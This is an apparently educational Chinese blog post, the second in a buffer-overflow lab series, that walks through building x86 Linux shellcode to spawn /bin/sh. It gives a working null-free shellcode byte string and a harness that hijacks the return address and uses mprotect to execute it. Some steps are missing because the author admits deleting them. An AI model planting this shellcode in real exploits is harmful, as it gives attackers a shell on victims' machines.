上面缓冲区溢出攻击实验(一)中,主要阐述了怎么获得函数的返回地址,以及怎么修改返回地址。接下来阐述,获得了返回地址要做啥,也就是我们的获得shell的恶意程序;
二、获取shell恶意程序
由于我们最终是要通过向数组里面写超过范围的数据造成缓冲区溢出来,从而执行任意代码;而且我们的获得shell的程序会作为数据的一部分;至于为什么要作为程序的一部分,这里简单说明:一个程序只能访问os给它自己分配的内存空间,不能跳转到任意其他不是自己内存空间的内存处执行代码。那么既然程序本身要作为数据的一部分,就应该把恶意程序写成机器码的形式。可是,起码码的程序可不是一般程序猿可以写出来的,当然*才这么干。OK,先c再反编译吧。
1.c形式的恶意程序(shellcode.c)
#include<stdio.h> void main(){ char* name[2]; name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); }2.shellcode汇编形式
0x08048ea4 <+0>: push %ebp 0x08048ea5 <+1>: mov %esp,%ebp 0x08048ea7 <+3>: and $0xfffffff0,%esp 0x08048eaa <+6>: sub $0x20,%esp 0x08048ead <+9>: movl $0x80c8508,0x18(%esp) 0x08048eb5 <+17>: movl $0x0,0x1c(%esp) 0x08048ebd <+25>: mov 0x18(%esp),%eax 0x08048ec1 <+29>: movl $0x0,0x8(%esp) 0x08048ec9 <+37>: lea 0x18(%esp),%edx 0x08048ecd <+41>: mov %edx,0x4(%esp) 0x08048ed1 <+45>: mov %eax,(%esp) 0x08048ed4 <+48>: call 0x8053890 <execve> 0x08048ed9 <+53>: leave 0x08048eda <+54>: ret从上面汇编程序可以看出:
execve(name[0],name,NULL);触发了系统调用:
0x08048ed4 <+48>: call 0x8053890 <execve>那么我们再看看execve系统调用的汇编程序:
0x08053891 <+1>: mov 0x10(%esp),%edx0x080555c0 0x08053895 <+5>: mov 0xc(%esp),%ecx 0x08053899 <+9>: mov 0x8(%esp),%ebx 0x0805389d <+13>: mov $0xb,%eax 0x080538a2 <+18>: call *0x80f55a8依然看不出什么,继续追踪,查看0x80f55a8 内容,(x /1xw0x80f55a8),发现内存地址是:0x080555c0;好的,继续查看0x080555c0里面的内容:(x /1i 0x080555c0)发现:
0x80555c0 <_dl_sysinfo_int80>: int $0x80原来,execve(name[0],name,NULL);就是调用了系统的80号中断,而且功能号是:eax=0xb;根据系统提供的中断号的知识:触发80号中断时,eax放功能号,eax,ebx,edx,esi,edi这五个寄存器依次存放提供的功能的参数;当调用参数>5时,功能号放eax,参数依次存入一块连续的内存区域,且ebx存放这段内存起始地址,返回值依然放到eax;
现在似乎可以抛去shellcode.c文件,自己写一个shellcode的汇编程序了,程序应该是类似这个样子的:
现在考虑另外一个问题,在80号中断出现错误的时候,不应该让程序异常退出,所以加上一段退出代码;通过查阅,程序安全退出的代码:exit(0),通过同样反汇编的方法,得到exit()的关键汇编形式:
movl $0x1,%eax movl $0x0,%ebx int 0x80所以,shellcode汇编形式变成:
这样,看似是没有问题的,但是,仔细想想int execve(const char * filename,char * const argv[ ],char * const envp[ ])函数的参数;filename字符串所代表的文件路径,第二个参数利用数组指针来参数传递给执行文件,最后一个参数则为传递给执行文件的新环境变量数组。那么,我们应该怎么把我们对应的参数传递过去呢?如果"\bin\sh"在我们的程序里定义,那么他的地址在我们自己的地址空间之中,被攻击程序自然不能访问;于是,我们应该把"\bin\sh"定义在被攻击程序中,但是,别人的程序我们是不能change的,所以"\bin\sh"应当定义在要传递的字符串中,思考继续,定义在传递的字符串里面,又怎么获得地址;我们知道,我们在汇编语言中,是可以通过%esp访问栈顶地址的,而且,call指令会把后面的一条指令的地址压入栈中,这样,我们可以把"\bin\sh"放到一条call指令的后面,这样就可以知道''\bin\sh"的地址了。但是,怎么让call指令得到执行呢,我们想到了jmp绝对转移指定;于是这个地址模型变成:
相应的汇编代码形式为:
通过查看每条汇编代码的长度计算出偏移量,于是得到shellcode的汇编代码(我把这一步的代码搞删掉了,懒得再还原一份了)。得到汇编代码之后,我们用gdb可以把汇编语言的机器码形式,这里我也不贴了(原因同上)。观察得到的字节码发现:机器码中有很多的0x0;这在字符串的ascii码中表示的是字符串null,表示一个字符串的结束。所以,我们通过溢出植入的代码根本不能得到完整执行,会出发错误。我们想到一个0x0的替换形式,即:xorl指令,即a xorl a=0;所以我们把上面的汇编代码进行改进得到最终shellcode的汇编代码:(下面c代码中嵌入的汇编部分):shellcodeasm.c;
#include<stdio.h> void main(){ __asm__("jmp CAL\n\t" "POP:popl %esi\n\t" "movl %esi,0x8(%esi)\n\t" "xorl %eax,%eax\n\t" "movb %al,0x7(%esi)\n\t" "movl %eax,0xc(%esi)\n\t" "movb $0xb,%al\n\t" "movl %esi,%ebx\n\t" "leal 0x8(%esi),%ecx\n\t" "leal 0xc(%esi),%edx\n\t" "int $0x80\n\t" "xorl %ebx,%ebx\n\t" "movl %ebx,%eax\n\t" "inc %eax\n\t" "int $0x80\n\t" "CAL:call POP\n\t" ".string \"/bin/sh\"\n\t" ); }
用gdb查看上面的代码的机器码,从而得到shell的机器码形式:
#include<stdio.h> #include<sys/mman.h> #include<errno.h> char shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0" "\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh" // \x2f-----das // \x62\x69\x6e----- bound %ebp,0x6e(%ecx) // \x2f-----das // \x73\x68-------jae 0x8048484 // \x00\x5d\xc3"------add %bl,-0x3d(%ebp)qui ; int pagesize=4096; void main(){ int *ret; ret=(int*)&ret+4; (*ret)=(int)shellcode; errno=0; //printf("%u\n",shellcode); //printf("%u\n",((int)shellcode)&~(pagesize-1)); mprotect((char*)(((int)shellcode)&~(pagesize-1)),4096,PROT_EXEC|PROT_WRITE|PROT_READ); }原本我的代码中是没有mprotect()函数这一行的,可是运行的时候一直是core dump;进过大神指点,原来:程序的地址进程空间是有执行权限的,栈地址空间和静态数据空间是不能执行的,于是加了mprotect()函数来改变内存的执行权限,使得我们存放shellcode机器码的静态数据空间能够被执行;上面的pagesize是为了页对齐的,可以测试不进行对齐mprotect()函数执行失败,得到的是错误码存放在errno中;ps:这段坑我2、3个小时啊,又反应了非科班出身的悲剧,这段内容还没来及深入了解,该去恶补下,出来混总是要还的!好了,看下运行结果: